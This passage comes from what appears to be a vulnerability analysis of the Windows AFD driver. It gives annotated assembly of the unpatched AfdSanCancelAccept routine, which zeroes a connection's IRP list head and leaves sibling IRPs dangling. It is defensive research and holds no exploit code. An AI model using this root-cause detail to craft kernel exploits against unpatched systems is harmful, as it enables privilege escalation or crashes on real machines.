&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x91&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// reject if teardown in progress&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;InsertTailList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x70&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;irp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xA8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched &lt;code&gt;AfdSanCancelAccept @ 0x1C007E110&lt;/code&gt; — full listing with inline annotations&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; Prologue&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E110&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E113&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E117&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E11B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E11F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E120&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;

&lt;span class="c1"&gt;; rdx = IRP. Resolve context and connection object.&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E124&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;B8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; IRP-&amp;gt;Tail.Overlay&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E12B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; rsi = IRP&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E12E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r11-28h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; LockHandle (stack)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E132&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; rbp = context object&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E136&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; rdi = connection object&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E13A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;amp;conn-&amp;gt;SpinLock (conn+0x30)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E13E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeAcquireInStackQueuedSpinLockAtDpcLevel&lt;/span&gt;

&lt;span class="c1"&gt;; Integrity-checked RemoveEntryList of the CURRENT IRP (entry at irp+0xA8)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E14A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;A8h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; &amp;amp;irp-&amp;gt;list_entry&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E151&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; Flink&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E154&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E157&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;loc_1C007E230&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; null → early release&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E15D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; Flink-&amp;gt;Blink == us?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E161&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C007E229&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; corrupt → __fastfail&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E167&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; Blink&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E16B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; Blink-&amp;gt;Flink == us?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E16E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1C007E229&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E174&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; Blink-&amp;gt;Flink = Flink&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E177&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;; Flink-&amp;gt;Blink = Blink&lt;/span&gt;

&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E17B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;WPP_MAIN_CB.Queue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40000&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; WPP trace flag&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E185&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C007E19E&lt;/span&gt;

&lt;span class="c1"&gt;; Is the connection already closed?&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E19E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;800&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1A5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C007E1CF&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; if closed, skip reset&lt;/span&gt;

&lt;span class="c1"&gt;; ===== NO DRAIN OF SIBLING IRPs — straight to connection reset =====&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1A7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; endpoint pointer at conn+0x50&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1AB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;AfdDereferenceEndpointInline&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; drop endpoint reference&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1B0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1B2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; dst = conn+0x50&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1B6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;; size = 0x48 (covers +0x50..+0x98)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;; zeroes list head at +0x70/+0x78 too&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1BF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; state = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1C3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="no"&gt;AFD0h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1C8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ax&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; type = 0xAFD0 (recycled marker)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1CB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="c1"&gt;; ===== other IRPs on the conn+0x70 list now dangle on a zeroed head =====&lt;/span&gt;

&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;LockHandle&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_KeReleaseInStackQueuedSpinLockFromDpcLevel&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;cl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; IRP cancel IRQL&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1E3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_IoReleaseCancelSpinLock&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C007E1EF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
